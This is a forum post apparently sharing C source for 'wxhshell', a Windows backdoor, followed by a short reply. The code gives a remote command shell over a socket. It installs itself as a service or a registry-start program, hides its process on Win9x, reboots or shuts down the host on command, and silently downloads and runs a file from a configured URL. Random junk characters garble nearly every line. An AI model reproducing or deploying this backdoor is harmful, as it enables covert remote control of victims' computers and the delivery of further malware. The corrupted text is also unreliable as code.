  } _ab8z]H   
  else { BhDg\oxZ  
+0U=UV)U  
    switch(cmd[0]) { =| T^)J  
  mOj; 0 R  
  // 帮助 tgG 8pL  
  case '?': { )e5=<'f 1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nG4ZOx.*1g  
    break; M>5OC)E  
  } + Fo^NT  
  // 安装 BAXu\a-C_  
  case 'i': { V5$ Gb6?K  
    if(Install()) P^"RH&ZQJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '|=Pw  
    else ?WXftzdf6u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|| W  
    break; \azMF}mb  
    } D)x^?!  
  // 卸载 ^k7I+A  
  case 'r': { @4UX~=:686  
    if(Uninstall()) A^FkU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3}s]F/e  
    else n*$g1HG6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /UK?&+1qE  
    break; \h3HaNC  
    } wi+Q lf  
  // 显示 wxhshell 所在路径 =&08s(A  
  case 'p': { 4>oM5Yf8  
    char svExeFile[MAX_PATH]; Mm*V;ADF  
    strcpy(svExeFile,"\n\r"); c&wg`1{Hal  
      strcat(svExeFile,ExeFile); 4GI3|{  
        send(wsh,svExeFile,strlen(svExeFile),0); F% a&|X  
    break; D"aK;_W@h  
    } Htr]_<@  
  // 重启 s9"X.-!  
  case 'b': { .gfi9J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )nf%S+KV  
    if(Boot(REBOOT)) ?" 4X&6xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >)C7IQ/  
    else { PcA^ jBgGl  
    closesocket(wsh); EpG9t9S9  
    ExitThread(0); bL* b>R[x  
    } Gr\jjf`  
    break; [;IEZ/ZX  
    } L&s~j/ pR  
  // 关机 {1Cnrjw  
  case 'd': { 75p9_)>96  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _!zc <&~I  
    if(Boot(SHUTDOWN)) D+;4|7s+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&m]:GR  
    else {  m-4#s  
    closesocket(wsh); 'lE{Nj*7  
    ExitThread(0); ?jfh'mCA  
    } 8hS^8  
    break; J \|~k2~  
    } KRlJKd{  
  // 获取shell 8tSY|ME  
  case 's': { oQh;lb  
    CmdShell(wsh); r=3`Eb"t  
    closesocket(wsh); iJhieNn  
    ExitThread(0); e eN`T&cI  
    break;  kSEA  
  } N KgEs   
  // 退出 kM4z %  
  case 'x': { Tv7W)?3h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K_Y{50#  
    CloseIt(wsh); 2~hdJ/  
    break; wN'S+4  
    } n:4 0T1: q  
  // 离开 ,=CipL9]  
  case 'q': { \?v&JmEU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qspGNu  
    closesocket(wsh); X\!q8KEpR&  
    WSACleanup(); MF.!D;s  
    exit(1); IW i0? V  
    break; Hk+44   
        } ^k % +ao  
  } l opl  
  } g zi=+oJ|4  
?;](;n#lU  
  // 提示信息 >F^$ ' b]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t)8c rX}P  
} j%3 $ytf|p  
  } Tx&H1  
S+KKGi_e  
  return; *0,*F~n  
} "k + :!D  
:T$}@& -  
// shell模块句柄 \mu';[gLd  
int CmdShell(SOCKET sock) vM5I2C3_>!  
{ p&Nav,9x  
STARTUPINFO si; {(-923|,  
ZeroMemory(&si,sizeof(si)); z^gz kXx7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j,].88H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %LC)sSq{H  
PROCESS_INFORMATION ProcessInfo; 4N= , 9  
char cmdline[]="cmd"; _5n2'\] H`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FEhBhv|m  
  return 0; rMWvW(@@D  
} o/,%rA4  
74 ptd,  
// 自身启动模式 0P$19T N  
int StartFromService(void) XdIno}pN  
{ \I i# R  
typedef struct $#e}9g.  
{ (421$w,B%  
  DWORD ExitStatus; M6cybEk`  
  DWORD PebBaseAddress; n5xG4.#G  
  DWORD AffinityMask; o/ \o -kC}  
  DWORD BasePriority; 6flO;d/v  
  ULONG UniqueProcessId; B YB9M  
  ULONG InheritedFromUniqueProcessId; o(v`  
}   PROCESS_BASIC_INFORMATION; Z{(Gib~{N  
~7}no}7  
PROCNTQSIP NtQueryInformationProcess; sR PQr ?  
_d~GY,WTdO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |:(BI5&S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k(>J?\iNW  
6k,@+ @]t.  
  HANDLE             hProcess; 0|va}m`<3G  
  PROCESS_BASIC_INFORMATION pbi; nq7)0F%e  
>/.jB/q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /:A239=+?  
  if(NULL == hInst ) return 0; gjT`<CW  
oIE(`l0l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y'f-4E<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "AJ>pU3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _kOuD}_|  
ZPM7R3%V)z  
  if (!NtQueryInformationProcess) return 0; .Z QXY%g  
FhH*lO&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cQh{z8Bf?<  
  if(!hProcess) return 0; (ce)A,;  
zXGI{P0O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q!~1Xc0S`p  
/s)It  
  CloseHandle(hProcess); 25, [<Ao  
;ACeY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {QK9pZB  
if(hProcess==NULL) return 0; 4b yh,t  
w\t  
HMODULE hMod; .*FlB>1jy  
char procName[255]; 'uUa|J1mu  
unsigned long cbNeeded; Jz;`L3m  
z SsogAx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *qMjoP,  
k3OnvnJb  
  CloseHandle(hProcess); &n6 |L8  
Z+J~moW `  
if(strstr(procName,"services")) return 1; // 以服务启动 N9)ERW2`*  
}?{. 'Hv0  
  return 0; // 注册表启动 \<%FZT_4~  
} &@7|_60  
K1<l/ s  
// 主模块 N/^[c+J  
int StartWxhshell(LPSTR lpCmdLine) < R@&<E6  
{ 2(D&jL  
  SOCKET wsl; |@-y+vbA*  
BOOL val=TRUE; Dhg/>@tw  
  int port=0; Eh_[8:dK  
  struct sockaddr_in door; _x#r,1V+D  
b[;3y/X  
  if(wscfg.ws_autoins) Install(); dj0D u^ v4  
t.O4-+$ig  
port=atoi(lpCmdLine); SR)@'-Wd  
'?fn} V  
if(port<=0) port=wscfg.ws_port; Yu^}  
v g tJ+GjN  
  WSADATA data; [iSLn3XXRX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m} =<@b:l  
+fIy eX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S 1Ji\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1 gRR  
  door.sin_family = AF_INET; .fW`/BXE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V|0UwS\n  
  door.sin_port = htons(port); -H_7GVSnl  
Z3T26Uk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7xT<|3 I  
closesocket(wsl); p@znmn-  
return 1; ^h|'\-d\  
} n_] OYG>U  
483vFLnF  
  if(listen(wsl,2) == INVALID_SOCKET) { QaEXk5>e  
closesocket(wsl); KQqQ@D&n  
return 1; tX}Fb0y  
} `+@%l*TQ  
  Wxhshell(wsl); m7mC 7x  
  WSACleanup(); ]gj@r[  
UuA=qWC  
return 0; f.r-,%^6{  
3 ?/}  
} |y=D^NTG  
#$fFp  
// 以NT服务方式启动 *m]%eU(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |b7>kM}"  
{ {k~$\J?.  
DWORD   status = 0; 17qrBG-/MD  
  DWORD   specificError = 0xfffffff; ck<4_?1]  
K<_H`k*x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @49^WY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Q{Bj(f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ||,;07  
  serviceStatus.dwWin32ExitCode     = 0; &c@I4RV|q  
  serviceStatus.dwServiceSpecificExitCode = 0; ZNA?`Z)f  
  serviceStatus.dwCheckPoint       = 0; o_$r*Z|HG  
  serviceStatus.dwWaitHint       = 0; RMrt4:-DI  
gA) F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uTJ?@ ^nq  
  if (hServiceStatusHandle==0) return; Cw^)}23R  
Wj*6}N/  
status = GetLastError(); wy&*6>.  
  if (status!=NO_ERROR) O "h+i>|l  
{ n:!J3pR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XJ NKM~  
    serviceStatus.dwCheckPoint       = 0; nocH~bAf2  
    serviceStatus.dwWaitHint       = 0; cE]kI,Fw,M  
    serviceStatus.dwWin32ExitCode     = status; FRF}V@~  
    serviceStatus.dwServiceSpecificExitCode = specificError; "Ii!)n,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {S&&X&A`v  
    return; *AN#D?X_  
  } |m EJJg`"7  
%yrP: fg/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O@Kr}8^,  
  serviceStatus.dwCheckPoint       = 0; Ua3ERBX{  
  serviceStatus.dwWaitHint       = 0; F^~#D, \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E|Lh$9XONA  
} n*xNMw1x"T  
aY+>85?g  
// 处理NT服务事件,比如:启动、停止 LtvyWc`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) D`_V.,W  
{ BZ T%+s;u9  
switch(fdwControl) wb9zJAsc  
{ }w@nZG ^&  
case SERVICE_CONTROL_STOP: Y\x Xo?  
  serviceStatus.dwWin32ExitCode = 0; CUd'*Ewu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V7v,)a" L  
  serviceStatus.dwCheckPoint   = 0; tr}$82Po  
  serviceStatus.dwWaitHint     = 0; wLbns qa  
  { Y{'G2)e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Stw6%T-  
  } y|mR'{$I  
  return; Q& \k"X1  
case SERVICE_CONTROL_PAUSE: \ a<Ye T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1wM p3  
  break; 1|89-Ii]  
case SERVICE_CONTROL_CONTINUE: 5~? J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; abv]  
  break; TP^0`L  
case SERVICE_CONTROL_INTERROGATE: 0nuFWV  
  break; A,/S/_Q=  
}; P$QfcJq&c*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3WVHI$A9  
} $_UF9 l0  
Q&LkST-i  
// 标准应用程序主函数 pQhv3F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GgYomR:  
{ }?^G= IP4(  
Z~gqTB]H  
// 获取操作系统版本 DQ}]'*@?  
OsIsNt=GetOsVer(); iB`m!g6$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oAx0$]+%V)  
WQ]pg "  
  // 从命令行安装 +Lr0i_al  
  if(strpbrk(lpCmdLine,"iI")) Install(); N!3f1d7RQ  
\3/9lE|gh  
  // 下载执行文件 Pg36'aTe%j  
if(wscfg.ws_downexe) { /P%:u0fX,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >JMKEHl.q  
  WinExec(wscfg.ws_filenam,SW_HIDE); S'e2~-p0F  
}  Ui.F<,E  
^eRuj)$5A  
if(!OsIsNt) { @mazwr{B  
// 如果时win9x,隐藏进程并且设置为注册表启动 -wt2ydzos  
HideProc(); b,W '0gl  
StartWxhshell(lpCmdLine); wtKh8^:YD  
} (qrT0D6  
else 9+']`=a:  
  if(StartFromService()) o5R\7}]GE  
  // 以服务方式启动 6M9rC[h\  
  StartServiceCtrlDispatcher(DispatchTable); CAA~VEUL  
else L5W>in5(  
  // 普通方式启动 >seB["C  
  StartWxhshell(lpCmdLine); BSY#xe V  
m @%|Q;  
return 0; wMoAvA_oS  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五